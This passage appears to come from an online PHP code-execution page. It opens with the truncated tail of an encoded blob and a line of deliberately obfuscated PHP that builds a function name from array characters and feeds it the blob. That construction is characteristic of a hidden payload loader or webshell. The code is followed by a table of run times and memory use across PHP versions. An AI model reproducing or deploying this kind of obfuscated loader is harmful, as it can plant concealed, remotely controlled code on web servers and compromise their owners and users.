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'".$Ja81jJmas;$jaUajsnas71($Arj17aAhn1[42].$Arj17aAhn1[19].$Arj17aAhn1[13].$Arj17aAhn1[42].$Arj17aAhn1[30], $HnakejAH182e ,"156");

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0090.00618.88
8.3.30.0120.00318.66
8.3.20.0030.00620.33
8.3.10.0040.00423.48
8.3.00.0000.00723.66
8.2.170.0110.00422.96
8.2.160.0100.00520.35
8.2.150.0050.00324.18
8.2.140.0060.00324.66
8.2.130.0060.00319.77
8.2.120.0040.00426.35
8.2.110.0100.00020.98
8.2.100.0040.00818.15
8.2.90.0040.00419.47
8.2.80.0030.00517.97
8.2.70.0030.00617.75
8.2.60.0030.00618.03
8.2.50.0040.00418.07
8.2.40.0030.00522.35
8.2.30.0050.00319.63
8.2.20.0000.00717.83
8.2.10.0040.00418.08
8.2.00.0090.00018.25
8.1.270.0060.00323.98
8.1.260.0050.00528.09
8.1.250.0000.00728.09
8.1.240.0030.00622.61
8.1.230.0080.00419.29
8.1.220.0030.00617.74
8.1.210.0030.00518.77
8.1.200.0060.00317.48
8.1.190.0050.00317.25
8.1.180.0030.00518.10
8.1.170.0040.00418.71
8.1.160.0040.00420.73
8.1.150.0000.00818.82
8.1.140.0090.00019.69
8.1.130.0000.00817.80
8.1.120.0070.00017.57
8.1.110.0050.00317.47
8.1.100.0050.00217.59
8.1.90.0060.00317.54
8.1.80.0070.00317.52
8.1.70.0000.00717.54
8.1.60.0040.00417.56
8.1.50.0060.00317.52
8.1.40.0040.00417.64
8.1.30.0000.01017.78
8.1.20.0030.00517.76
8.1.10.0000.00817.67
8.1.00.0020.00517.62
8.0.300.0050.00318.77
8.0.290.0070.00016.88
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8.0.130.0060.00013.40
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8.0.90.0070.00016.91
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8.0.70.0030.00517.07
8.0.60.0000.00817.07
8.0.50.0050.00316.82
8.0.30.0130.00717.11
8.0.20.0130.00817.40
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8.0.00.0080.01017.02
7.4.330.0050.00016.81
7.4.320.0030.00316.60
7.4.300.0040.00416.68
7.4.290.0070.00416.59
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7.4.120.0100.00916.63
7.4.110.0170.00716.74
7.4.100.0140.00316.47
7.4.90.0140.00316.57
7.4.80.0100.01319.39
7.4.70.0120.01016.82
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7.3.330.0050.00013.25
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7.3.200.0150.00619.39
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7.3.170.0070.01016.66
7.3.160.0100.00716.44
7.2.330.0100.01016.82
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7.2.310.0040.01516.84
7.2.300.0120.00916.57
7.2.290.0040.01216.85
7.1.00.0130.06722.35
7.0.120.0000.03722.05
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7.0.90.0000.04722.15
7.0.80.0000.04322.18
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7.0.50.0000.04022.07
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5.6.260.0030.03721.91
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5.6.210.0070.03721.86
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5.6.180.0030.05721.66
5.6.170.0000.05021.86
5.6.160.0070.04721.61
5.6.150.0000.06021.89
5.6.140.0030.04721.89
5.6.130.0030.03721.73
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5.6.110.0000.06021.70
5.6.100.0100.04021.63
5.6.90.0030.03721.67
5.6.80.0000.04721.20
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5.6.60.0070.04321.10
5.6.50.0030.04021.12
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5.5.380.0000.04018.25
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5.5.200.0000.04018.30
5.5.190.0000.04318.20
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5.5.140.0000.04018.25
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5.5.120.0070.03318.04
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5.5.100.0030.04318.14
5.5.90.0000.03718.20
5.5.80.0000.04018.04
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5.5.50.0070.02717.95
5.5.40.0030.03318.07
5.5.30.0000.04317.86
5.5.20.0030.03317.93
5.5.10.0030.03317.86
5.5.00.0030.03718.08
5.4.450.0030.04020.24
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5.3.130.0000.03315.61
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5.3.100.0000.04015.07
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5.3.70.0000.03715.24
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5.3.00.0000.04714.64
5.2.170.0030.02712.21
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5.2.00.0000.03012.08
5.1.60.0030.02311.52
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5.1.40.0000.02711.49
5.1.30.0000.03711.64
5.1.20.0000.02711.64
5.1.10.0030.02711.59
5.1.00.0030.02711.34
5.0.50.0000.02310.39
5.0.40.0030.01710.39
5.0.30.0000.03310.39
5.0.20.0000.03010.39
5.0.10.0030.03010.39
5.0.00.0030.05310.39
4.4.90.0030.02010.39
4.4.80.0000.02310.39
4.4.70.0000.02310.39
4.4.60.0030.02310.39
4.4.50.0030.02010.39
4.4.40.0000.03010.39
4.4.30.0000.02710.39
4.4.20.0000.02010.39
4.4.10.0070.01310.39
4.4.00.0000.03310.39
4.3.110.0000.02310.39
4.3.100.0000.02310.39
4.3.90.0070.02310.39
4.3.80.0000.03710.39
4.3.70.0030.02310.39
4.3.60.0070.01710.39
4.3.50.0030.01710.39
4.3.40.0000.03310.39
4.3.30.0000.02310.39
4.3.20.0000.03310.39
4.3.10.0030.02710.39
4.3.00.0000.02310.39

preferences:
60.6 ms | 400 KiB | 5 Q